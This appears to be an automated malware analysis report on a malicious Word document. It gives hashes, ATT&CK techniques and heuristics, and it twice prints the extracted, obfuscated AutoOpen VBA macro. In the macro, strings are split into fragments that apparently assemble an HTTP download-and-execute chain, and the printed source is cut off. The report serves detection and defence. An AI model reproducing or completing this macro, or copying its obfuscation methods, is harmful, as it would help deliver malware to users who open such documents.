Office (OLE) malware analysis — malicious · 24d4b073e676dde0

MALICIOUS

Office (OLE)

77.5 KB Created: 2016-09-05 22:43:00 Authoring application: Microsoft Office Word First seen: 2017-11-13

MD5: 069d8bd9ac221f2b2b16c8f01b2b40ab SHA-1: d5cf65b69c363f9f9b8cc6710f1447bffd902940 SHA-256: 24d4b073e676dde084d4e2c5b19f2b38b9cbb4c4221013835226e9b68b816280

162 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen function and uses CreateObject to execute code. This indicates the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 6

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11376 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	11376 bytes
SHA-256: `09f4adfebeab89e78d2c36b48adcd817dc8ab12f343bfd31d7eb39759e0e63af`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub hotarqo3(ylvemtojxip9, ixopfixjajm7) ylvemtojxip9.Language = ixopfixjajm7 End Sub Sub ekkyhpi7() Dim qluqabkutq, yzcoxzyxo2, iqotukf, hycas, ublijramw, anjihemv9, qihokle6, nibtynvuz, bwubatcehba5, arjinonujq8, epecre, hejbexad6, pkubazpyxy, beklaxycg0, kdoctodabk3, obkyresd1, ahymletve, ilaqmokijw6, yjdepelg, ycejhoqlikq7, arirjexz, amizwuf, ytuciglagq0, sisuvw8, wolyvg9, kcizguzher0, nufufwottu0, sjadynol2, bitvifvu8, adacig6, odcalezgosp Dim ovemihbo 'tetroxide straightens hubbies conurbation wheedling Dim hyzyvu Dim ogsichig6, ezyjvi3, yvusxi, irvoni, elumila4, qewexu, wabnodky, rneptypkav3, gtibofmu9, tzawih, ohegapo5, xmabkydy6, udymu6, nmefoxno5, yrypadi5, ukicsi, beqkubxajza, xedyvh0, okzizjyvos, yqeccely7, enyvuhri6, rigsifab9, otgaqosfo, exyqne, ccofoboxsi, usyxsilqimr, lomajiq3, esvoketwijn2, mohemety, afyzdi3 Dim ttazuroq, xohmyjhizza, chipekcevy, kohykx, sasytko4, acivde8, gceqqogec, pxakicy8, igelkycrog, oborkozq, mxabojx, zxyfidw, yrurzofu, tmuxquhe, qdolvyxb, fmitwaqy, darnaku8, ifhapuln, ruracj, iriftab, agelu9, afvurema, igusosgo2, qlonixy Dim hviflacbolv0 Dim blifpije, curetgajy, synuhru, aqzolu0, vobibsa, ontutmixtyrf, soczolywm7, mazowly6, khykfiq8, yqgunyvu, irydsufcyq9, buposjykk1, ihqixaci8, irpoqlutme0, iloqsi, vgexfuzo, usonfex Dim mykjobi0 Dim azpidyna, qodezofm4, retnoxa, bunojjobx2, relqinxim1, inqynuls, wryvyvn7, nkufzypi, pvulozwo0, afzokherzih9, fjejpilugqe, fenwygag, sutcosys, exxexluhj, ivgynbav, kinkegcotb, yvumaxq4, zodazc6, ozucirli5, xxipabx, ohyfehs, ipriztyk0, gpixxycqajb, mijyj4, rydxiwusr5, azgutort, lrovracd1, wqunadqisx, xcysaxu0 Dim lobuxdu Dim nosmoqb Dim amylop6 'freaky offertory inflammatory bosoms destroys trusses collocated hashes Dim igciqosy Dim guseze, erpojlogl0, zufpoj6, omilok7, novegqo, ihpyqi, fzygwafoq, kbytyqdu3, vyjawh, zfibradocc9, midimq, utincehkidq, cvajuh, pziggalpypg9, yzymbuxiwx, bcusyta, wpuwdij, dojkek, ywnyxagk6, ydhavuwba7, iqgokokwi3, esxyje6, syrak5, vnirnytgecy8, efdavdocq, rfazgospa, uhyfbufoxf1, uvrysgowu5, exrifa, mecryzc1, iwojmeq1 Dim iqxygji5, obboqu0, pnenatiti, decikazq0, ehunuptyj, pfyratl9, culkidmylro0, abyrulziwd, uhtekrejb7, hnepqipjo0, wulputawb5, kowihom, tunze3, etiwe2, elywad, olpemcyts, lmokgokaxk7, ylyfqy5, ozfeviwu, nbuzij1, aspob8, pafij6, ujyf, afubpaqto, ubeger6, kadmago4, abixyc, tgowcuje9, twurawm4 Dim uvybs Dim yjsilbe5, ynuqq4, otykakb, oxmylefw wqunadqisx = "Fil" mecryzc1 = ".op" ehunuptyj = "str" elumila4 = "tre" ogsichig6 = "h =" 'chairman hypothesises unctuous egregious fleabites sanction ontutmixtyrf = "(""A" bwubatcehba5 = "eam" pziggalpypg9 = " fs" hejbexad6 = "TTP" fjejpilugqe = "los" xmabkydy6 = ".Re" decikazq0 = "ar " ifhapuln = "cro" sutcosys = "mk." fenwygag = ");v" 'viewed rubbishy replaces buckler solace louvred tmuxquhe = "th)" ycejhoqlikq7 = "Get" zxyfidw = "t.X" blifpije = ");s" nibtynvuz = "B.S" pnenatiti = "veT" enyvuhri6 = "un," esxyje6 = "ll""" omilok7 = "ype" wulputawb5 = ".se" 'hacks strangle impassioned microbe canine ennoble outstandingly prevaricated incalculable fmitwaqy = "Ope" rneptypkav3 = "le(" sisuvw8 = "eXO" igelkycrog = "mdr" aqzolu0 = "= 0" qluqabkutq = "tiv" kohykx = "new" kdoctodabk3 = "te(" fzygwafoq = "ng." 'bewilders stylist incant loungers zombies sufferings hemlines nosmoqb = "tre" vyjawh = "MLH" afvurema = "t (" ozucirli5 = "jec" hyzyvu = " = " obboqu0 = "bje" gtibofmu9 = "so." exrifa = "\"" " iriftab = " = " 'pianists pollination substitutes inadvisability morgue postmortem qlonixy = "am." hnepqipjo0 = "_pa" agelu9 = "exe" uhtekrejb7 = "m.T" nmefoxno5 = "nd(" wryvyvn7 = "ar " rfazgospa = "ass" yrurzofu = "Act" exyqne = "185" 'detachable monitoring practices unmet commercially embossed lie imparts cvajuh = ... (truncated)

SHA-256: 09f4adfebeab89e78d2c36b48adcd817dc8ab12f343bfd31d7eb39759e0e63af

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub hotarqo3(ylvemtojxip9, ixopfixjajm7)
ylvemtojxip9.Language = ixopfixjajm7
End Sub
        
Sub ekkyhpi7()
Dim qluqabkutq, yzcoxzyxo2, iqotukf, hycas, ublijramw, anjihemv9, qihokle6, nibtynvuz, bwubatcehba5, arjinonujq8, epecre, hejbexad6, pkubazpyxy, beklaxycg0, kdoctodabk3, obkyresd1, ahymletve, ilaqmokijw6, yjdepelg, ycejhoqlikq7, arirjexz, amizwuf, ytuciglagq0, sisuvw8, wolyvg9, kcizguzher0, nufufwottu0, sjadynol2, bitvifvu8, adacig6, odcalezgosp
Dim ovemihbo
'tetroxide straightens hubbies conurbation wheedling
Dim hyzyvu
Dim ogsichig6, ezyjvi3, yvusxi, irvoni, elumila4, qewexu, wabnodky, rneptypkav3, gtibofmu9, tzawih, ohegapo5, xmabkydy6, udymu6, nmefoxno5, yrypadi5, ukicsi, beqkubxajza, xedyvh0, okzizjyvos, yqeccely7, enyvuhri6, rigsifab9, otgaqosfo, exyqne, ccofoboxsi, usyxsilqimr, lomajiq3, esvoketwijn2, mohemety, afyzdi3
Dim ttazuroq, xohmyjhizza, chipekcevy, kohykx, sasytko4, acivde8, gceqqogec, pxakicy8, igelkycrog, oborkozq, mxabojx, zxyfidw, yrurzofu, tmuxquhe, qdolvyxb, fmitwaqy, darnaku8, ifhapuln, ruracj, iriftab, agelu9, afvurema, igusosgo2, qlonixy
Dim hviflacbolv0
Dim blifpije, curetgajy, synuhru, aqzolu0, vobibsa, ontutmixtyrf, soczolywm7, mazowly6, khykfiq8, yqgunyvu, irydsufcyq9, buposjykk1, ihqixaci8, irpoqlutme0, iloqsi, vgexfuzo, usonfex
Dim mykjobi0
Dim azpidyna, qodezofm4, retnoxa, bunojjobx2, relqinxim1, inqynuls, wryvyvn7, nkufzypi, pvulozwo0, afzokherzih9, fjejpilugqe, fenwygag, sutcosys, exxexluhj, ivgynbav, kinkegcotb, yvumaxq4, zodazc6, ozucirli5, xxipabx, ohyfehs, ipriztyk0, gpixxycqajb, mijyj4, rydxiwusr5, azgutort, lrovracd1, wqunadqisx, xcysaxu0
Dim lobuxdu
Dim nosmoqb
Dim amylop6
'freaky offertory inflammatory bosoms destroys trusses collocated hashes
Dim igciqosy
Dim guseze, erpojlogl0, zufpoj6, omilok7, novegqo, ihpyqi, fzygwafoq, kbytyqdu3, vyjawh, zfibradocc9, midimq, utincehkidq, cvajuh, pziggalpypg9, yzymbuxiwx, bcusyta, wpuwdij, dojkek, ywnyxagk6, ydhavuwba7, iqgokokwi3, esxyje6, syrak5, vnirnytgecy8, efdavdocq, rfazgospa, uhyfbufoxf1, uvrysgowu5, exrifa, mecryzc1, iwojmeq1
Dim iqxygji5, obboqu0, pnenatiti, decikazq0, ehunuptyj, pfyratl9, culkidmylro0, abyrulziwd, uhtekrejb7, hnepqipjo0, wulputawb5, kowihom, tunze3, etiwe2, elywad, olpemcyts, lmokgokaxk7, ylyfqy5, ozfeviwu, nbuzij1, aspob8, pafij6, ujyf, afubpaqto, ubeger6, kadmago4, abixyc, tgowcuje9, twurawm4
Dim uvybs
Dim yjsilbe5, ynuqq4, otykakb, oxmylefw
wqunadqisx = "Fil"
mecryzc1 = ".op"
ehunuptyj = "str"
elumila4 = "tre"
ogsichig6 = "h ="
'chairman hypothesises unctuous egregious fleabites sanction
ontutmixtyrf = "(""A"
bwubatcehba5 = "eam"
pziggalpypg9 = " fs"
hejbexad6 = "TTP"
fjejpilugqe = "los"
xmabkydy6 = ".Re"
decikazq0 = "ar "
ifhapuln = "cro"
sutcosys = "mk."
fenwygag = ");v"
'viewed rubbishy replaces buckler solace louvred
tmuxquhe = "th)"
ycejhoqlikq7 = "Get"
zxyfidw = "t.X"
blifpije = ");s"
nibtynvuz = "B.S"
pnenatiti = "veT"
enyvuhri6 = "un,"
esxyje6 = "ll"""
omilok7 = "ype"
wulputawb5 = ".se"
'hacks strangle impassioned microbe canine ennoble outstandingly prevaricated incalculable
fmitwaqy = "Ope"
rneptypkav3 = "le("
sisuvw8 = "eXO"
igelkycrog = "mdr"
aqzolu0 = "= 0"
qluqabkutq = "tiv"
kohykx = "new"
kdoctodabk3 = "te("
fzygwafoq = "ng."
'bewilders stylist incant loungers zombies sufferings hemlines
nosmoqb = "tre"
vyjawh = "MLH"
afvurema = "t ("
ozucirli5 = "jec"
hyzyvu = " = "
obboqu0 = "bje"
gtibofmu9 = "so."
exrifa = "\"" "
iriftab = " = "
'pianists pollination substitutes inadvisability morgue postmortem
qlonixy = "am."
hnepqipjo0 = "_pa"
agelu9 = "exe"
uhtekrejb7 = "m.T"
nmefoxno5 = "nd("
wryvyvn7 = "ar "
rfazgospa = "ass"
yrurzofu = "Act"
exyqne = "185"
'detachable monitoring practices unmet commercially embossed lie imparts
cvajuh =
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.